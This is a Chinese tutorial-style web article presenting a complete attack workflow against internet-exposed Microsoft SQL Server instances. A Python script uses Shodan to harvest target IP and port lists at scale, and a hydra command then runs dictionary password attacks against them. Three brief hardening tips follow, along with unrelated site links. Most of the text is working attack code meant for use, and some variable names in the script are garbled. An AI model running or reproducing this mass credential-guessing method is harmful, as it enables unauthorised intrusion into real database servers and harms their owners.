基于ShodanPython库的批量攻击实践

SQL Server的弱口令入侵案例层出不穷,利用工具也大量存在,本文以MSSQL服务器为切入点,以解决批量目标发现为目标,介绍了一种基于Shodan Python库的攻击方法。希望能给有类似需求的同学提供参考。

[[188971]]

一、基本思路

首先利用Shodan的Python库获取并实时处理MSSQL服务器IP及1434端口Banner,得到IP和MSSQL连接端口的组合列表;然后利用Hydra进行字典口令攻击。

SQL Server服务使用两个端口:TCP-1433、UDP-1434。其中1433用于供SQL Server对外提供服务,1434用于向请求者返回SQL Server使用了哪个TCP/IP端口。

—— 百度百科-1433端口

二、实现脚本

实现过程详见脚本中的注释

  1. # -- coding:utf-8 -- 
  2. # Python v2.7.10 
  3. # MSSQL.py 
  4. # Written by Gaearrow 
  5.  
  6. import shodan 
  7. import sys 
  8.  
  9. # API_KEY 
  10. API_KEY = "YOUR_API_KEY" 
  11. query = "product:\"Microsoft SQL Server\"" 
  12.  
  13. # 处理输入 
  14. if len(sys.argv) != 3: 
  15.     print  
  16.     print 'Usage: MSSQL.py <page start:1,2...> <page end:1,2...>
  17.     sys.exit(1) 
  18. pagestart = int(sys.argv[1]) 
  19. pageend = int(sys.argv[2]) 
  20.  
  21. try: 
  22.     # 初始化输出文件 
  23.     ofilename = 'page'+str(pagestart)+'to'+str(pageend) 
  24.     ofilesrc = ofilename+'_src.txt' 
  25.     ofileip = ofilename+'_ip.txt' 
  26.     fsrc = open(ofilesrc,'w') 
  27.     fip = open(ofileip,'w') 
  28.  
  29.     # 统计变量 
  30.     numofport = 0 
  31.     numofnoport = 0 
  32.     rstlist = 0 
  33.      
  34.     # 逐页检索 
  35.     api = shodan.Shodan(API_KEY) 
  36.     rsttotal = api.count(query) 
  37.     maxpage = (rsttotal['total']+99)/100 
  38.     if pageend > maxpage: 
  39.         pageend = maxpage 
  40.     for page in range(pagestart,pageend+1): 
  41.         result = api.search(query,page) 
  42.         for mssql in result['matches']: 
  43.             # 从Banner中解析MSSQL的连接端口 
  44.             ## 删除换行 
  45.             ip = mssql['ip_str'].strip('\n') 
  46.             ## Ignore IPv6 
  47.             if len(ip) > 15: 
  48.                 continue 
  49.             ## 跳过特殊字符 
  50.             banner = mssql['data'][3:] 
  51.             ## 检查Banner 
  52.             if banner.find('ServerName') < 0: 
  53.                 continue 
  54.             pos = banner.find('tcp;') 
  55.             if pos > 0: 
  56.                 strlist = banner[pos:].split(';') 
  57.                 if strlist[1].find('np') < 0: 
  58.                     ### tcp;1234;np;.. 
  59.                     ipipport = ip+':'+strlist[1] 
  60.                     numofportnumofport = numofport + 1 
  61.                 else: 
  62.                     ### tcp;np;.. 
  63.                     ipipport = ip+":1433" 
  64.                     numofnoportnumofnoport = numofnoport + 1 
  65.             else: 
  66.                 ### no 'tcp;' 
  67.                 ipipport = ip+":1433" 
  68.                 numofnoportnumofnoport = numofnoport + 1 
  69.  
  70.             print >>fip,ipport 
  71.             print >>fsrc,mssql['ip_str'] 
  72.             print >>fsrc,mssql['data'][3:] 
  73.             rstlistrstlist = rstlist + 1 
  74.  
  75.     # 打印统计信息 
  76.     print >>fsrc,'===================================' 
  77.     print >>fsrc,'Shodan Summary Information' 
  78.     print >>fsrc,'Query : ', query 
  79.     print >>fsrc,'Total Results : ', rsttotal['total'] 
  80.     print >>fsrc,'List  Results : ', rstlist 
  81.     print >>fsrc,'Page  Start   : ', pagestart 
  82.     print >>fsrc,'Page  End     : ', pageend 
  83.     print >>fsrc,'Port  Assigned   : ',numofport 
  84.     print >>fsrc,'Port  Unassigned : ',numofnoport 
  85.     print >>fsrc,'===================================' 
  86.  
  87. except Exception as e: 
  88.     print 'Error: %s' % e 
  89.     sys.exit(1) 
  90.  
  91. fsrc.close() 
  92. fip.close() 

三、执行示例

1. 执行环境

  1. root@kali2:~/app/mssqlnew# uname -a 
  2. Linux kali2 4.0.0-kali1-686-pae #1 SMP Debian 4.0.4-1+kali2 (2015-06-03) i686 GNU/Linux 
  3. root@kali2:~/app/mssqlnew# python -V 
  4. Python 2.7.9 

2. 获取地址端口组合列表

  1. root@kali2:~/app/mssqlnew# python MSSQL.py 1 10 

page1to10_src.txt

page1to10_ip.txt

3. hydra字典攻击

攻击耗时及成功率与用户、口令字典有紧密关系,网络带宽也影响速度。

root@kali2:~/app/mssqlnew# hydra -L sqluser.dic -P sqlpass.dic -t 30 -M page1to10_ip.txt mssql

四、安全建议

  • 设置MSSQL仅限本地连接
  • 修改MSSQL的默认连接端口
  • 分级配置各类数据库用户权限

文章来源网络,作者:运维,如若转载,请注明出处:https://shuyeidc.com/wp/150953.html<

(0)
运维的头像运维
上一篇2025-03-13 07:50
下一篇 2025-03-13 07:52

相关推荐

  • 个人主题怎么制作?

    制作个人主题是一个将个人风格、兴趣或专业领域转化为视觉化或结构化内容的过程,无论是用于个人博客、作品集、社交媒体账号还是品牌形象,核心都是围绕“个人特色”展开,以下从定位、内容规划、视觉设计、技术实现四个维度,详细拆解制作个人主题的完整流程,明确主题定位:找到个人特色的核心主题定位是所有工作的起点,需要先回答……

    2025-11-20
    0
  • 社群营销管理关键是什么?

    社群营销的核心在于通过建立有温度、有价值、有归属感的社群,实现用户留存、转化和品牌传播,其管理需贯穿“目标定位-内容运营-用户互动-数据驱动-风险控制”全流程,以下从五个维度展开详细说明:明确社群定位与目标社群管理的首要任务是精准定位,需明确社群的核心价值(如行业交流、产品使用指导、兴趣分享等)、目标用户画像……

    2025-11-20
    0
  • 香港公司网站备案需要什么材料?

    香港公司进行网站备案是一个涉及多部门协调、流程相对严谨的过程,尤其需兼顾中国内地与香港两地的监管要求,由于香港公司注册地与中国内地不同,其网站若主要服务内地用户或使用内地服务器,需根据服务器位置、网站内容性质等,选择对应的备案路径(如工信部ICP备案或公安备案),以下从备案主体资格、流程步骤、材料准备、注意事项……

    2025-11-20
    0
  • 如何企业上云推广

    企业上云已成为数字化转型的核心战略,但推广过程中需结合行业特性、企业痛点与市场需求,构建系统性、多维度的推广体系,以下从市场定位、策略设计、执行落地及效果优化四个维度,详细拆解企业上云推广的实践路径,精准定位:明确目标企业与核心价值企业上云并非“一刀切”的方案,需先锁定目标客户群体,提炼差异化价值主张,客户分层……

    2025-11-20
    0
  • PS设计搜索框的实用技巧有哪些?

    在PS中设计一个美观且功能性的搜索框需要结合创意构思、视觉设计和用户体验考量,以下从设计思路、制作步骤、细节优化及交互预览等方面详细说明,帮助打造符合需求的搜索框,设计前的规划明确使用场景:根据网站或APP的整体风格确定搜索框的调性,例如极简风适合细线条和纯色,科技感适合渐变和发光效果,电商类则可能需要突出搜索……

    2025-11-20
    0

发表回复

您的邮箱地址不会被公开。必填项已用 * 标注